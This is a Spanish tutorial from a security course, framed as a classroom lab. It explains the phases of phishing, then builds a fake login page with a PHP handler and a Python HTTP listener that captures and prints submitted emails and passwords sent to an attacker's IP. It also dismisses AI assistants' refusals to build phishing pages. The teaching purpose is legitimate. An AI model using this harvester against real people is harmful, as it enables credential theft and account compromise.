El phising es una técnica de engaño usada para conseguir el robo de credenciales o servicios a una victima que cree que está usando servicios verídicos reales, cuando en realidad son falsos.
El phising es una técnica que suplanta un servicio o entidad legítima con el fin de robar credenciales o lucrarse con los recursos de la victima. La mayoría de los ataques de Phising se hacen pasar por páginas web de bancos, redes sociales o incluso suplantan la identidad de un compañero o familiar, con el fin de producir:
● Que la victima entregue credenciales.
● Se proporcionen datos personales.
● Descague malware.
● realizar acciones peligrosas (como transferir dinero).
El objetivo del phising es el robo de información o comprometer un sistema.
El Phising tiene 4 fases bien diferenciadas que todo experto de seguridad debe de entender:
● Suplantación. El atacante crea un correo, mensaje o web que parece legítimo.
● Ingeniería social. Se usa urgencia, miedo o confianza para que la víctima actúe sin pensar.
● Captura de datos. La víctima introduce información en un formulario falso o descarga un archivo.
● Exfiltración. Los datos se envían al servidor del atacante.

el phising web es uno de los ataques más existosos.
En esta clase vamos a hacer una página falsa que pedirá el usuario y contraseña de un usuario y veremos los datos que mete el usuario desde otra máquina en la misma red, en nuestra máquina virtual Kali Linux con VirtualBox. Esta práctica está enfocada a que aprendas cómo hacen los malos para coger tus datos, NO PARA REPLICARLA como si fueses un malvado.
PLIEGO DE DESCARGO: Mirpas.com y el administrador del sitio no se hacen responsables del mal uso que hagas del laboratorio que vamos a hacer. Toda responsabilidad será parte del visitante del sitio.
Preparación de archivos.
Como lo que vamos a hacer es una página web que simule un servicio específico, vamos a crear una página Web ayudados por la IA para que nos cree un formulario en el que se pida un correo / usuario y contraseña para entrar en el servicio al pulsar un botón de acceder.
Ten en cuenta que si le pides a la IA que te ayude a crear una aplicación de PHISING te va a dar largas aludiendo que es algo ilegal y que bla, bla, bla..., bla. Te paso la página Web, de pruebas que tu deberás de configurar antes de enviarla a la victima.
Esta es la página que vamos a hacer y que llamaremos (tu le puedes poner el nombre que quieras), como index.html.

Página que se hará pasar por una página real.
Como características de esta página abre el código fuente del formulario y comprobarás que el action se lleva a una página llamada procesar.php que sera la que coja los valores escritos dentro de los campos Usuario y Contraseña.

El action define el archivo que va a procesar el formulario.
Por lo que vamos a crear el archivo de procesar.php. Para ello fijate los valores del atributo name de la página de ataque que tiene el nombre de las variables que vamos a pasar por $_POST[]; desde el archivo php. Para el usuario "email" tiene el nombre de email, y para el campo "password" tiene el valor password.
El código del php completo es este:
if ($_SERVER["REQUEST_METHOD"] == "POST") {
// Sanitizar la entrada de manera básica para la demostración
$usuario = htmlspecialchars($_POST['username']);
$passw = htmlspecialchars($_POST['password']);
// En un entorno académico, mostramos cómo el servidor recibe la petición
echo "<h3>Simulación de Captura Exitosa</h3>";
echo "<p>El servidor ha recibido los datos del usuario: <strong>" . $usuario . "</strong> y contraseña: <strong>". $passw . "</strong>.</p>";
echo "<p style='color: red;'><strong>Advertencia educativa:</strong> Si esto fuera un sitio fraudulento real, las credenciales habrían sido comprometidas. Verifica siempre la URL en la barra de direcciones.</p>";
// Nota: Evita escribir las contraseñas en archivos de log de texto para mantener el entorno seguro.
} else {
header("Location: index.html");
exit();
}
?>
Ejecución del phising.Este método lo estamos ejecutando en local, mostrando el usuarioo y contraseña desde la propia página php que nos devuelve los datos por pantalla. Cuando rellenamos los datos de usuario y contraseña, nos carga la página prcesar.php que coge el valor que hemos introducido dentro de los campos textbox de email y password.

El archivo procesar.php coge los datos del email y password del formulario.
Esta es la forma en que una página PHP captura los datos de un formulario de registro, a pesar de que una página PHP suele guardar los datos en una base de datos y no los enseña de la forma que puedes ver. Vamos a cambiar el objetivo y éste va a ser nuestra máquina Kali Linux en VirtualBox. Y el ataque va a ser a través de un SOCKET con python que se mantendrá a la escucha de que la página web envie el formulario.
Conseguir contraseñas mediante servidor Python.
Vamos a aprovechar que en la clase anterior vimos los SOCKETs en python para crear un listener que se quede escuchando sobre un puerto concreto de la red que esperará una conexión del navegador de la victima y que capturará las credenciales de la página web. En este caso, el objetivo será un PC con Kali Linux y el servidor estará situado en W10. Aunque en este caso no vamos a utilizar un SOCKET en cuestión, porque estamos creando un servidor remoto falso que si utiliza internamente socket TCP.

El administrador envía una página de phising a sus empleados.
Para este tipo de ataques necesitamos modificar el action del formulario, porque ahora apuntará a la página del listener, o la ip de su máquina en W10. En lugar de tener la página de procesar.php, pondremos la dirección IP del administrador (máquina que recibirá las contraseñas). Recuerda que para conocer las direcciones IPs de la máquina en W10 y en Kali Linux puedes utilizar:
ipconfig
#Ip en Kali Linux
ip a
Recuerda que las IPs vienen dadas de acuerdo a la tarjeta de red que estes usando. En el código siguiente sustituye la dirección localhost por la dirección IP de tu máquina HOST.

El atributo action queda apuntado a la IP que recibirá los datos.
Pero fijate también que cuando llamo al action, llamo también a la página de recibir. Este será la respuesta que devolverá el listener cuando reciba la petición.
Crando el socket en Python.Vamos a crear un socket que se mantenga a la escucha. Este es el código:
from http.server import HTTPServer, BaseHTTPRequestHandler
import urllib.parse
class RequestHandler(BaseHTTPRequestHandler):
def do_POST(self):
if self.path == '/recibir':
content_length = int(self.headers.get('Content-Length', 0))
post_data = self.rfile.read(content_length)
data = urllib.parse.parse_qs(post_data.decode('utf-8'))
email = data.get('email', [''])[0]
password = data.get('password', [''])[0]
print("\n[!] CREDENCIALES CAPTURADAS:")
print(f"Correo: {email}")
print(f"Contraseña: {password}")
print("-" * 40)
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.end_headers()
self.wfile.write("<h3>Error temporal, intenta de nuevo más tarde.</h3>".encode('utf-8'))
else:
self.send_response(404)
self.end_headers()
def log_message(self, format, *args):
# Suprimir logs normales del servidor
pass
if __name__ == '__main__':
port = 8085
server = HTTPServer(('0.0.0.0', port), RequestHandler)
print(f"Servidor a la escucha en puerto {port}...")
server.serve_forever()
El script anterior crea un servidor HTTP básico que escucha peticiones en un puerto concreto y procesa datos enviados mediante un formulario. Cuando recibe una solicitud POST en la ruta /recibir, el servidor:
● Lee los datos enviados por el formulario.
● Los muestra en la consola del servidor para fines de depuración o demostración.
● Responde al navegador con un mensaje HTML indicando un error temporal.
● Para cualquier otra ruta, devuelve un 404.
Analicemos el código respecto al socket:
Esta instrucción crea un socket TCP IPv4 (AF_INET y SOCK_STREAM), que le asocia a la IP 0.0.0.0 y el puerto 8085 mediante un bind(). Después llama a listen() para escuchar conexiones sobre dicho puerto.
s.bind(('0.0.0.0', 8085))
s.listen()
Además, al llamar a server.serve_forever(), estoy haciendo que el servidor entre en bucle continuamente, por lo que acepta varias comunicaciones (puedes introducir varias veces el usuario y contraseña o si hubiese más máquinas afectadas, recibirían sus datos).
Resumiendo: Este servidor HTTP en Python funciona sobre un socket TCP que escucha en un puerto específico. Cada petición entrante se acepta mediante la infraestructura de HTTPServer, que crea un handler para procesar la conexión. Los datos enviados por el cliente se leen directamente desde el socket a través de rfile, y las respuestas se envían mediante wfile, que escribe en el mismo socket. El servidor implementa así el ciclo completo: aceptar conexiones, leer datos, procesarlos y responder, todo sobre la capa de transporte TCP.
Como siempre los datos desde la página de descargas.